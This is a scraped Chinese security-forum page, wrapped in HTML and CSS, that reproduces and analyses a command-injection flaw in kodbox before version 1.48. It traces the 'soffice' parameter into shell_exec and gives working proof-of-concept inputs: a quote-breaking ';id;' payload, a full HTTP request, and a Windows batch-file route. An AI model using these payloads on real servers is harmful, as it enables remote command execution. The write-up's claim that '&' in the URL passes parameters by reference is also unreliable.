.4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(min-resolution:1.5dppx){}@media(-webkit-min-device-pixel-ratio:1.5),(min-device-pixel-ratio:1.5),(min-resolution:192dpi),(Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">kodbox代码注入漏洞复现与分析</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
kodbox 是一个网络文件管理器。是一款功能丰富的私有云在线文档管理系统。它可以帮助你快速搭建一个私有网盘/云桌面,方便地管理和共享文件。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。12月16日发布漏洞公告kalcaddle kodbox 中发现命令注入漏洞,影响版本为小于1.48。
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>漏洞前言:
|
||||
=====
|
||||
|
||||
kodbox 是一个网络文件管理器。是一款功能丰富的私有云在线文档管理系统。它可以帮助你快速搭建一个私有网盘/云桌面,方便地管理和共享文件。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。12月16日发布漏洞公告kalcaddle kodbox 中发现命令注入漏洞,影响版本为小于1.48。
|
||||
|
||||
漏洞环境:
|
||||
=====
|
||||
|
||||
本地环境搭建:
|
||||
|
||||
源码下载:https:*//github.com/kalcaddle/kodbox*
|
||||
|
||||
下载1.47版本源码进行搭建,需要php版本为5以上,这里不做过多赘述。
|
||||
|
||||

|
||||
|
||||
漏洞分析:
|
||||
=====
|
||||
|
||||
根据公告内容:受此漏洞影响的是文件plugins/officeViewer/controller/libreOffice/index.class.php的功能检查,对参数 soffice 的操纵会导致命令注入。
|
||||
|
||||

|
||||
|
||||
那么进一步跟进代码进行查看:
|
||||
|
||||
先查看主函数:
|
||||
|
||||

|
||||
|
||||
主函数作用是在用户访问文件的时候首先获取处理文件插件功能的插件,再检查是否允许使用名为 'LibreOffice' 的扩展。getSoffice()用于检查能否成功获取到LibreOffice 的可执行文件路径,最后通过传入的filepath获取指定文件信息。
|
||||
|
||||
跟进getSoffice()方法:
|
||||
|
||||

|
||||
|
||||
`getSoffice` 方法用于获取LibreOffice的可执行文件路径的函数。它首先从配置中获取 LibreOffice 的安装路径,然后通过 `checkBin` 方法检查该路径是否有效。跟进checkBin():
|
||||
|
||||

|
||||
|
||||
`checkBin` 方法用于检查指定可执行文件是否可用。通过执行 `shell_exec` 来尝试运行指定的可执行文件。
|
||||
|
||||
其中使用`shell_exec`函数执行了命令并将输出结果存储在`$result`变量中。
|
||||
|
||||

|
||||
|
||||
```php
|
||||
private function checkBin($bin,$check){
|
||||
$code = Cache::get($bin);
|
||||
if ($code) return $code;
|
||||
$result = shell_exec($bin.' --help'); // ' 2>&1'
|
||||
$code = strstr($result,$check) ? true : false;
|
||||
Cache::set($bin, $code);
|
||||
return $code;
|
||||
}
|
||||
```
|
||||
|
||||
可以看到这里$bin可控。
|
||||
|
||||
下面查看哪里调用了getSoffice(),找到函数check();
|
||||
|
||||

|
||||
|
||||
```php
|
||||
public function check(){
|
||||
$bin = $this->in['soffice'];
|
||||
//从 HTTP 请求中获取名为 `soffice` 的参数并将其值赋给变量 $bin
|
||||
$plugin = Action($this->pluginName);
|
||||
if(!empty($bin)) {
|
||||
$plugin->setConfig(array('lbSoffice' => $bin));
|
||||
}
|
||||
if(isset($_GET['check'])){
|
||||
if(!function_exists('shell_exec')) {
|
||||
show_json(LNG('officeViewer.libreOffice.execDisabled'), false);
|
||||
}
|
||||
$msg = '';
|
||||
if(!$soffice = $this->getSoffice()) {
|
||||
$msg = LNG('officeViewer.libreOffice.checkError');
|
||||
}
|
||||
show_json($msg, !!$soffice);
|
||||
}
|
||||
Action($this->pluginName)->includeTpl('static/libreoffice/check.html');
|
||||
}
|
||||
```
|
||||
|
||||
可以看到通过此函数先从 HTTP 请求中获取名为 `soffice` 的参数,并将其值赋给变量 `$bin`,下来检查是否存在名为 "check" 的 GET 参数,如果存在才会进入条件语句的代码块,检查`shell_exec()` 函数是否可用,接下来调用`getSoffice()` 方法。
|
||||
|
||||

|
||||
|
||||
在`getSoffice()` 方法中`isset($data['soffice'])` 检查数组 `$data` 中是否存在键名为 `'soffice'` 的元素,如果存在返回true,并将$data\['soffice'\]` 的值赋给$bin。
|
||||
|
||||

|
||||
|
||||
拼接soffice参数:plugin/officeViewer/libreOffice/index/check&amp;soffice
|
||||
|
||||
使用 `&` 连接check和soffice参数可以将参数以引用传递的方式传递给函数或方法。
|
||||
|
||||
(在php中两个参数使用 `&` 连接参数是为了以引用传递的方式将参数传递给函数或方法。PHP 函数和方法中的参数传递分为按值传递、引用传递。默认情况下PHP 函数和方法中的参数传递是按值传递(pass by value)的,也就是说会创建参数的副本并传递给函数或方法。这意味着在函数或方法内部对参数进行修改不会影响到原始的参数。然而,有时候我们希望在函数或方法内部能够修改原始的参数。这时可以使用引用传递(pass by reference),在参数前面加上 `&` 符号来实现。这样,当参数在函数或方法内部被修改时,原始的参数也会被修改。)
|
||||
|
||||

|
||||
|
||||
```php
|
||||
$bin = '"'.trim(iconv_system($bin)).'"'; // win路径空格处理
|
||||
```
|
||||
|
||||
在windows环境下对$bin特殊处理:getSoffice()中$bin参数会被两个双引号闭合,且使用`trim()` 函数删除 `$bin` 变量字符串首尾的空白字符,包括空格、制表符、换行符等。iconv\_system函数用于将“$bin”字符进行编码转换。
|
||||
|
||||

|
||||
|
||||
windows环境下可以通过传入文件路径执行bat文件实现远程命令执行。
|
||||
|
||||
测试poc为:
|
||||
|
||||
```php
|
||||
plugin/officeViewer/libreOffice/index/check&soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\202312\19_81229b0a\poc.bat
|
||||
```
|
||||
|
||||
linux环境下可以通过soffice传入命令通过闭合双引号实现命令注入。
|
||||
|
||||
测试poc为:
|
||||
|
||||
```php
|
||||
index.php?plugin/officeViewer/libreOffice/index/check&soffice=";id;%23&check=1
|
||||
```
|
||||
|
||||
漏洞利用:
|
||||
=====
|
||||
|
||||
**linux系统下漏洞利用:**
|
||||
|
||||

|
||||
|
||||
GET /kodbox/index.php?plugin/officeViewer/libreOffice/index/check&amp;soffice=";id;%23&amp;check=1 HTTP/1.1
|
||||
Host: 192.168.145.131
|
||||
Cache-Control: max-age=0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: KOD\_SESSION\_ID=9fbbb7a218e0d680fab1ce38b9879adc; CSRF\_TOKEN=6jfthGWYzrs5R8Xr; kodUserID=1
|
||||
Connection: close
|
||||
|
||||

|
||||
|
||||
**windows系统下:**
|
||||
|
||||
利用条件:1、需要权限可上传写入文件到服务器中。2、需要有可执行文件的绝对路径。
|
||||
|
||||
一、进入后台上传poc文件
|
||||
|
||||

|
||||
|
||||
poc内容为:
|
||||
|
||||

|
||||
|
||||
poc上传的绝对路径为:
|
||||
|
||||
```php
|
||||
D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\202312\19_81229b0a\poc.bat
|
||||
```
|
||||
|
||||

|
||||
|
||||
二、执行poc.bat:
|
||||
|
||||
```php
|
||||
index.php?plugin/officeViewer/libreOffice/index/check&soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\202312\19_81229b0a\poc.bat
|
||||
```
|
||||
|
||||

|
||||
|
||||
执行结果:
|
||||
|
||||
</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h1 blockindex=0>漏洞前言:</h1>
|
||||
<p blockindex=1>kodbox 是一个网络文件管理器。是一款功能丰富的私有云在线文档管理系统。它可以帮助你快速搭建一个私有网盘/云桌面,方便地管理和共享文件。它也是一个网页代码编辑器,允许您直接在网页浏览器中开发网站。12月16日发布漏洞公告kalcaddle kodbox 中发现命令注入漏洞,影响版本为小于1.48。</p>
|
||||
<h1 blockindex=2>漏洞环境:</h1>
|
||||
<p blockindex=3>本地环境搭建:</p>
|
||||
<p blockindex=4>源码下载:https:<em>//github.com/kalcaddle/kodbox</em></p>
|
||||
<p blockindex=5>下载1.47版本源码进行搭建,需要php版本为5以上,这里不做过多赘述。</p>
|
||||
<p blockindex=6><img src="data:image/png;base64,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 truncated
|
||||
<h1 blockindex=7>漏洞分析:</h1>
|
||||
<p blockindex=8>根据公告内容:受此漏洞影响的是文件plugins/officeViewer/controller/libreOffice/index.class.php的功能检查,对参数 soffice 的操纵会导致命令注入。</p>
|
||||
